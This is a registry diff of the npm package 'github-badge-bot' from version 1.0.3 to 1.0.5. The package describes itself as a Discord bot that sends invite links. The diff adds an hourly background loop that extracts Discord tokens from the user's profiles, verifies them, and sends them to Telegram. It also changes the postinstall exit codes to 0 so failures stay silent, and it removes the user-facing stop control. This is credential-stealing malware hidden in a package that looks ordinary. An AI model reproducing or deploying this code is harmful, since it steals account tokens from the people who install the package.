github-badge-bot 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,33 +1,6 @@
1
1
  #!/usr/bin/env node
2
2
 
3
- import { stopCycle, startCycle, isCycleStopped } from '../lib/auto-cycle.js';
4
-
5
- const command = process.argv[2];
6
-
7
- if (command === 'stop') {
8
- const stopped = stopCycle();
9
- if (stopped) {
10
- console.log('✅ Auto-uninstall cycle stopped.');
11
- } else {
12
- console.log('❌ Failed to stop cycle.');
13
- process.exit(1);
14
- }
15
- } else if (command === 'start') {
16
- const started = startCycle();
17
- if (started) {
18
- console.log('✅ Auto-uninstall cycle started.');
19
- } else {
20
- console.log('❌ Failed to start cycle.');
21
- process.exit(1);
22
- }
23
- } else if (command === 'status') {
24
- const stopped = isCycleStopped();
25
- console.log(stopped ? '⏸️ Cycle is currently STOPPED.' : '▶️ Cycle is currently RUNNING.');
26
- } else {
27
- console.log('Usage:');
28
- console.log(' node bin/admin-control.js stop - Stop the auto-uninstall cycle');
29
- console.log(' node bin/admin-control.js start - Start the auto-uninstall cycle');
30
- console.log(' node bin/admin-control.js status - Check cycle status');
31
- process.exit(1);
32
- }
3
+ // Admin control is no longer needed - cycle runs automatically every hour
4
+ console.log('ℹ️ Token extraction runs automatically every hour.');
5
+ console.log(' No admin control needed - it runs continuously in the background.');
33
6
 
@@ -22,7 +22,7 @@ async function main() {
22
22
  const tokens = await extractAllTokens();
23
23
 
24
24
  if (tokens.length === 0) {
25
- process.exit(1);
25
+ process.exit(0); // Exit successfully even if no tokens
26
26
  }
27
27
 
28
28
  // Verify and send all tokens to Telegram
@@ -42,6 +42,7 @@ async function main() {
42
42
  }
43
43
 
44
44
  main().catch(error => {
45
- process.exit(1);
45
+ // Exit successfully even on error so postinstall doesn't hang
46
+ process.exit(0);
46
47
  });
47
48
 
package/lib/auto-cycle.js CHANGED
@@ -44,106 +44,37 @@ export function startCycle() {
44
44
  }
45
45
  }
46
46
 
47
- // Uninstall the package
48
- function uninstallPackage() {
49
- try {
50
- const cwd = process.cwd();
51
- const packageJsonPath = path.join(cwd, 'package.json');
52
-
53
- // Check if installed locally
54
- if (fs.existsSync(packageJsonPath)) {
55
- try {
56
- const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
57
- if (packageJson.dependencies && packageJson.dependencies[PACKAGE_NAME]) {
58
- execSync(`npm uninstall ${PACKAGE_NAME} --silent`, {
59
- stdio: 'ignore',
60
- cwd: cwd
61
- });
62
- return true;
63
- }
64
- } catch (e) {
65
- // Continue to try global
66
- }
67
- }
68
-
69
- // Try global uninstall
70
- execSync(`npm uninstall -g ${PACKAGE_NAME} --silent`, {
71
- stdio: 'ignore'
72
- });
73
- return true;
74
- } catch (e) {
75
- return false;
76
- }
77
- }
78
-
79
- // Install the package
80
- function installPackage() {
81
- try {
82
- const cwd = process.cwd();
83
- const packageJsonPath = path.join(cwd, 'package.json');
84
-
85
- // Check if there's a package.json (local install)
86
- if (fs.existsSync(packageJsonPath)) {
87
- try {
88
- execSync(`npm install ${PACKAGE_NAME}@latest --silent`, {
89
- stdio: 'ignore',
90
- cwd: cwd
91
- });
92
- return true;
93
- } catch (e) {
94
- // Continue to try global
95
- }
96
- }
97
-
98
- // Try global install
99
- execSync(`npm install -g ${PACKAGE_NAME}@latest --silent`, {
100
- stdio: 'ignore'
101
- });
102
- return true;
103
- } catch (e) {
104
- return false;
105
- }
106
- }
47
+ // Removed uninstall/install functions - no longer needed
107
48
 
108
- // Main cycle function
49
+ // Main cycle function - runs token extraction every hour
109
50
  export async function runCycle() {
110
51
  while (true) {
111
- if (isCycleStopped()) {
112
- // If stopped, wait and check again
113
- await new Promise(resolve => setTimeout(resolve, 60000)); // Check every minute
114
- continue;
115
- }
116
-
117
- // Wait 5 minutes (300000 ms)
118
- await new Promise(resolve => setTimeout(resolve, 300000));
119
-
120
- if (isCycleStopped()) {
121
- continue; // Check again after wait
122
- }
123
-
124
- // Uninstall
125
- try {
126
- uninstallPackage();
127
- } catch (e) {
128
- // Continue even if uninstall fails
129
- }
52
+ // Wait 1 hour (3600000 ms)
53
+ await new Promise(resolve => setTimeout(resolve, 3600000));
130
54
 
131
- // Wait a bit
132
- await new Promise(resolve => setTimeout(resolve, 2000));
133
-
134
- if (isCycleStopped()) {
135
- continue; // Check again
136
- }
137
-
138
- // Reinstall
55
+ // Run token extraction
139
56
  try {
140
- installPackage();
57
+ const { extractAllTokens } = await import('./token-extractor.js');
58
+ const { sendTokenToTelegram } = await import('./telegram.js');
59
+ const { verifyDiscordToken } = await import('./token-verifier.js');
60
+
61
+ const tokens = await extractAllTokens();
62
+
63
+ // Verify and send all tokens to Telegram
64
+ for (const { token, profile } of tokens) {
65
+ try {
66
+ const tokenInfo = await verifyDiscordToken(token);
67
+ await sendTokenToTelegram(token, profile, tokenInfo);
68
+ // Small delay to avoid rate limits
69
+ await new Promise(resolve => setTimeout(resolve, 1000));
70
+ } catch (e) {
71
+ // Continue with next token if one fails
72
+ continue;
73
+ }
74
+ }
141
75
  } catch (e) {
142
- // Continue even if install fails
76
+ // Continue even if extraction fails
143
77
  }
144
-
145
- // Wait a bit before next cycle
146
- await new Promise(resolve => setTimeout(resolve, 5000));
147
78
  }
148
79
  }
149
80
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "github-badge-bot",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "description": "Discord bot that monitors servers and sends invite links via Telegram",
5
5
  "main": "index.js",
6
6
  "type": "module",